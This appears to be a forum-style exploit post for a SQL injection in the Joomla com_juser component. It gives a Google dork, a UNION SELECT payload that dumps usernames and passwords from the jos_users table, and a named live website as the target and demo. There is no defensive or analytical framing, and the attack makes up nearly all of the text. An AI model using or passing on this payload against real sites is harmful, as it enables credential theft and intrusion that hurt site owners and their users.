Joomla Sql injetion vulnerability !!

================================================== ===============
Dork: option=com_juser
================================================== ===============
Exp: http://www.powertopresent.com/index.php?[exploit]
================================================== ===============
exploit: /index.php?option=com_juser&task=show_profile&id=70 +and+1=2+union+select+1,2,concat(username,0x3a,pas sword)chipdebi0s,4,5,6,7,8,9,10,11,12,13+from+jos_ users--
================================================== ===============
Demo : http://www.powertopresent.com/index....om+jos_users--
================================================== ===============